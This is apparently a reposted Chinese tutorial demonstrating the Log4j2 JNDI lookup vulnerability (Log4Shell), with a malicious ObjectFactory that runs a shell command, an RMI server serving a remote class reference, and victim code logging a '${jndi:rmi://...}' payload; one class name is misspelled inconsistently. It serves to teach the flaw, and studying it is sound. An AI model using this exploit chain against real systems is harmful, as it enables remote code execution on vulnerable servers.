概述
情报:【不容错过】史诗级Log4j漏洞!相关详情X社区持续更新中!
受影响版本 :2.x<=2.14.1
依赖:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
如何获取项目信息
Java Lookup
参数 | 描述 |
version | java版本 |
runtime | 运行时信息 |
vm | 虚拟机 |
os | 操作系统 |
locale | 硬件信息 |
hw | 硬件信息 |
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) {
String variable = "${java:os}";
LOGGER.info("{}", variable);
}
}
[11:35:59:649] [INFO] - Main.main(Main.java:11) - Windows 10 10.0, architecture: amd64-64
项目信息就会被打印了出来。
远程调用 JNDI Lookup
JNDI(Java Naming and Directory Interface)在 J2EE 中的角色就是“交换机” —— J2EE 组件在运行时间接地查找其他组件、资源或服务的通用机制。
JNDI的存在其实是为了协同其他应用来进行远程服务,它可以在客户端和服务端中都进行一些工作,其目的是为了将应用统一管理。比如在RMI服务端中,JNDI可以进行bind、rebind等操作,在客户端上可以进行lookup、list等操作,这样可以不直接使用RMI的Registry的bind,加上JNDI的动态协议解析,从而方便统一管理各个应用。
log4j2 官方文档也同样支持 Jndi Lookup
攻击Java中的JNDI、RMI、LDAP(一)
RMI 和 LDAP 是 JND I默认支持自动转换的协议:
协议名称 | 协议URL | Context类 |
RMI协议 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
LDAP协议 | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
创建 恶意对象示例:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;
import java.util.Scanner;
/**
* 使用创建恶意的ObjectFactory对象 。
*/
public class EvilObjectFactory implements ObjectFactory {
static {
try {
System.out.println("JNDI 触发 RMIServer,黑客要开始搞事情了");
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
Process process = Runtime.getRuntime().exec("ping www.baidu.com");
process.waitFor();
Scanner scanner = new Scanner(new InputStreamReader(process.getInputStream(),"gbk"));
System.out.println("恶意进程:"+process);
while (scanner.hasNextLine()) {
System.out.println("恶意进程:"+scanner.nextLine());
}
} catch (InterruptedException | IOException e) {
e.printStackTrace();
}
}
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param nameCtx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param environment 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
Process process = Runtime.getRuntime().exec("ping www.baidu.com");
System.out.println(process.getOutputStream());
return null;
}
}
创建 RMI 服务器 :
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String... args) {
try {
Registry registry = createRegistry(1099);
System.out.println("Create RMI registry on port 1099");
registry.bind("evil", createReferenceWrapper("server.factory.EvailObjectFactory","server.factory.EvailObjectFactory", "http://127.0.0.1:8000/"));
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
/**
* 监听端口 。
* @param port .
* @return .
* @throws RemoteException .
*/
private static Registry createRegistry(int port) throws RemoteException {
LocateRegistry.createRegistry(port);
return LocateRegistry.getRegistry();
}
/**
* 创建一个远程的 JNDI 对象工厂类的引用对象 ,
* 将其转化为 RMI 引用对象 。
* @param className .
* @param factory .
* @param factoryLocation .
* @return .
* @throws RemoteException .
* @throws NamingException .
*/
private static ReferenceWrapper createReferenceWrapper(String className, String factory, String factoryLocation) throws RemoteException, NamingException {
return new ReferenceWrapper(new Reference(className, factory, factoryLocation));
}
}
受害者代码:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) {
// jdk1.8.121之后需要添加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true")
// javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
LOGGER.info("应用正常运行中。。。。。。。。。。。。。");
String variable = "${jndi:rmi://127.0.0.1:1099/evil}";
LOGGER.info("{}", variable);
}
}
1.首先启动服务器,运行成功
2.启动受害者代码,主要目的是触发日志打印
可以看到服务器的恶意代码成功在受害者应用中运行。
项目地址:git clone http://www.qianp.top:9999/r/JavaWithLog4j2.git
最后
以上就是俭朴自行车为你收集整理的log4j2 漏洞的简单利用的全部内容,希望文章能够帮你解决log4j2 漏洞的简单利用所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复